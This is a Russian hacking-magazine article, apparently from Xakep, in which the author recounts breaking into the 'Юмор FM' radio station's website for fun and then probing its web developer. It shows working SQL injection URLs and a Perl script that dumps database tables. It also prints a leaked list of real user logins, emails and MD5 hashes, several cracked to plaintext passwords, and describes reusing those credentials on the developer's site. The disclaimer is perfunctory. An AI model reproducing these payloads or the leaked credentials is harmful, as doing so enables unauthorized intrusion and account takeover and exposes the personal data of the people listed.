Пожалуй, в жизни каждого бывают моменты, когда хочется расслабиться или
просто отдохнуть от повседневной рутины. В такой ситуации кто-то на скорую руку
вешает дефейс на сайте приглянувшегося ему хостинга, а кто-то долго и мучительно
флудит телефоны недругов забавными sms’ками. Я же решил просто послушать радио.
Что из этого получилось — читай ниже.

 

Шутки ради

Одним осенним вечером, когда прохлада и слякоть за окном отбивали всякое
желание выбраться на прогулку, я решил пропарсить в Сети несколько радиостанций
на предмет хорошей музыки. Перебирая одно «радио» за другим, я вдруг наткнулся
на любимую многими радиостанцию «Юмор FM» (Диджеям сего радио респект, — Прим.
автора). После нескольких прикольных историй, услышанных в эфире, в моей голове
родилась очередная безумная идея, вследствие которой вещание радиостанции уже
перестало меня интересовать. В окне браузера замелькал Гугл с заголовками «Юмор
FM». Моему взору предстали десятки разнообразных доменов, состоящих из
комбинаций слов «humor»/«yumor» и «fm», но среди прочих выделялся красивый и
явно не дешевый домен www.humor.fm. Как и ожидалось, линк вел на официальный
сайт радиостанции «Юмор FM». Первым делом я по привычке воспользовался сервисом

http://madnet.name/tools/madss
, который выдал следующую информацию по домену
www.humor.fm:

IP: 77.120.97.62
ТИЦ: 30
PR: 3

Кроме того, на сервере хостилось несколько десятков ресурсов, которые,
впрочем, трогать раньше времени не хотелось. Удаленно просканировав сервер, я
получил примерный расклад по открытым портам и запущенным службам, среди которых
значились:

21‑TCP порт — FTP
25‑TCP порт — SMTP
53‑TCP порт — DNS
80‑TCP порт — HTTP
110‑TCP порт — POP3

Увы, но дополнительное сканирование на наличие открытых для чтения каталогов
(с учетом неправильно выставленных чмодов) результатов не дало. Так же, как и не
была найдена админка или хоть какое-то подобие администраторской панели. После
недолгого ковыряния движка, сопровождавшегося изредка встречающимися пассивными
XSS’ками, была успешно опробована формочка восстановления пароля,
располагавшаяся по адресу:

 https://humor.fm/forget/do.4.

Стоит ли говорить, что в полях «Логин» и «E-mail» напрочь отсутствовала
какая-либо фильтрация. Налицо — sql-инъекция, правда, полноценно использовать ее
можно было только при помощи POST-запросов. Погуляв по сайту еще некоторое
время, я обнаружил достаточно удобную sql-инъекцию в параметре сообщения об
ошибке в скрипте логина. Причем, бага была явной, — всю ругань СУБД на
неправильно сконструированный запрос я мог отчетливо наблюдать на своем
мониторе:

DEBUG MODE
SQL Error 1064: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server
version for the right syntax to use near '' AND id_lng
='1'' at line 1
SQL: SELECT text FROM db_strings WHERE alias = 'здесь_
наш_запрос' AND id_lng ='1'
FILE: /kernel/modules/CPage.php
LINE: 93
FUNCTION: row_select

Поле адресной строки для внедрения скул-запроса выглядело следующим образом:

http://humor.fm/login/?error=-1’+union+select+table_name+from+information_schema.tables+limit+1,1%23.

Благо, на сервере крутилась пятая версия мускула, и я без труда мог шарить по
интересующим меня табличкам. Однако количество таблиц в information_schema
зашкаливало за несколько десятков, что сулило не один час работы. Немного
отредактировал собственный скул-граббер:

#!/usr/bin/perl
print "= SQL-injection Grabber =\n";
use LWP::Simple qw(get);
open(F, '>E:\Perl\result.txt');
$z=0;
for ($i=1;$i<=50;$i++){
open(C, '>count.txt');
$url="http://humor.fm/login/?error=-1'+union+select
+concat(char(94),table_name,char(94))+from+information
_schema.tables+limit+$i,1%23";
$cont=get($url);
print F $cont."\n";
$z=$z+1;
print C $z;
close C;
}
close F;
print "= DONE =\n";
print $z;

После чего я запустил скрипт и отправился спать.

 

Веселье продолжается

Проснувшись и отпарсив лог скул-граббера, я получил список названий табличек
(часть записей):

db_cat, db_chunks, db_cms_log, db_count, db_dest_cities, db_dest_countries,
db_dest_provinces, db_faq, db_faq_copy, db_faq_strings, db_group, db_lng,
db_mail, db_mail_resume, db_mail_strings, db_mail_strings_copy, db_menu, db_news,
db_news_copy, db_news_tree, db_permit, db_press, db_search_strings, db_sessions,
db_strings, db_templates, db_templates_copy, db_user, db_user_dealers_info,
db_user_dealers_info_copy, db_user_strings, db_user_visotors_info,
db_user_visotors_ info_copy

В первую очередь, меня интересовала таблица db_user, содержимое которой я
просматривал уже через несколько минут:

http://humor.fm/login/?error=-1’+union+select+concat(login,char(58),email,char(58),password)+from+db_user+limit+1,1%23
http://humor.fm/login/?error=-1’+union+select+concat(login,char(58),email,char(58),password)+from+db_user+where+login=%22admin%22%23

Таким образом, была найдена учетная запись админа:

admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac

Увы, но вместо пароля в базе хранились мд5‑хэши. Поэтому, так же как и в
случае с табличками, я решил слить всю базу пользователей (около 600 записей)
при помощи sql-граббера для последующего детального анализа (Часть записей, —
Прим. автора):

cappy:cappy@mail.ru:168416487b5b0dea3478992a914c7706
qwas:qwas@idea.net.ua:c8e25115addeda1656b52cfbe7b2b780
Joker:joker@idea.net.ua:589ca240c5222730de730b7013c3b9b6
kamrad:kamrad@gala.net:127b177747ce8b42cf37a001e411a71d
hahameled:hahameled@hotmail.com:1c59b1c8630c397d34c9a7f74cc8b8cd
Decoy:decoy@idea.net.ua:b882e3b467d649792fc4c0cc49592e90
Chris:v_sysoyenko@mail.ru:f4564b3036cf120eb74c2a9f7877ab34
admin:support@idea.net.ua:5f7c5e847d547b984bab4020c33673ac
kerber:kerber@idea.net.ua:58acb17af943b7218bca87690910c555
lora:support@idea.net.ua:174c94f5c7f5a11941cab1d8069bf820
vitaly:vitaly@idea.net.ua:349a096f2d6df52cc0b4d5d43ba32e6f
maverick:kgbdon@mail.ru:ef9156a75c96dbc0896bb8ee8388f0ef
Denis:name05@mail.ru:25f9e794323b453885f5181f1b624d0b
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6c653f7c0b0
lesha:l.dontsov@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
nastia::a398fb77df76e6153df57cd65fd0a7c5
andrey::a398fb77df76e6153df57cd65fd0a7c5
vezde::a398fb77df76e6153df57cd65fd0a7c5
makar:makar3000@mail.ru:a398fb77df76e6153df57cd65fd0a7c5
inga:privet@humor.fm:a398fb77df76e6153df57cd65fd0a7c5
Energy:ilko_93@mail.ru:28a34010e84b881fb087359c7e280a08
mandbat:mandbat@mail.ru:9246fe90c455dd8e3431c3b59dae6ed1
Lotos:lotos811@mail.ru:992f71412b41f71623ab6e083dec29a9
vasiliy:pravo7@pochta.ru:5ed58b3456c67b0cb260e14eaa58f24b
Vlados:vlados7@yandex.ru:67a70698218034437e4f1534600c9fb2
AL@X:adece@yandex.ru:c9324104045e1ed3e067b5bf8f063e5f

Порывшись среди аккаунтов, я выбрал наиболее ценные и отправился на известный
ресурс http://passcracking.ru
с целью сбрутить парочку-другую паролей. Как ни странно, мне это удалось, в
результате чего в моих руках оказалось несколько аппетитных акков менеджеров и
диджеев радио-станции «Юмор FM»:

lora:support@idea.net.ua:174c94f5c7f5a11941c
ab1d8069bf820 — lora
Tata:manager@humor.fm:3f931c18b44ac93ac5b4b6
c653f7c0b0 — werty
inga:privet@humor.fm:a398fb77df76e6153df57cd
65fd0a7c5 — radio
Smile:office@humor.fm:6074c6aa3488f3c2dddff2
a7ca821aab — 5555
lesha:l.dontsov@mail.ru:a398fb77df76e6153df5
7cd65fd0a7c5 — radio

Выбрав аккаунт одного из диджеев:

логин: lesha
пароль: radio

я без труда залогинился на сайте и получил полноценный доступ к профилю/почте
и прочим вкусностям :). Погуляв по сайту под разными аккаунтами, я вспомнил о
своем желании немного поглумиться. Но портить содержимое сайта в мои планы не
входило, посему я уже было собирался удаляться, когда мне на глаза попались
строчки: «Разработка и поддержка: Дизайн-студия «Идея». В глубине души что-то
подсказывало мне, что стоит навестить сию контору в поисках новых, гхм,
«приключений».

 

Делу время, потехе — час

Сайт студии девелоперов, наклепавших движок для «Юмор FM», располагался по
адресу www.idea.net.ua. Как оказалось, на сайте присутствовала форма логина
юзеров:

Главная

Некоторые из слитых мной аккаунтов из базы «Юмор FM», содержащие мыла вида «support@idea.net.ua»,
успешно подошли и на сайте девелоперов. Ресурс содержал раздел «Портфолио», в
котором публиковались линки на уже готовые проекты, коих насчитывалось порядка
200. Кроме уже похаканного «Юмор FM», мое внимание привлекли такие ресурсы, как
официальный сайт ФК «Шахтер», сайт журнала «Авто.UA Тюнинг» и много чего еще.
Кстати, среди проектов я отыскал сайты двух популярных радиостанций — «Европа +»
и «Авторадио». Но, как говорится, это уже совсем другая история…

Внимание! Информация представлена исключительно с целью ознакомления! Ни
автор, ни редакция за твои действия ответственности не несут!



Полную версию статьи
читай в ноябрьском номере
Хакера! На нашем DVD ты найдешь полное видео по взлому сайта
радиостанции «Юмор FM». Смотри внимательно.

Оставить мнение

Check Also

Эхо кибервойны. Как NotPetya чуть не потопил крупнейшего морского перевозчика грузов

Российское кибероружие, построенное на утекших у АНБ эксплоитах, маскировалось под вирус-в…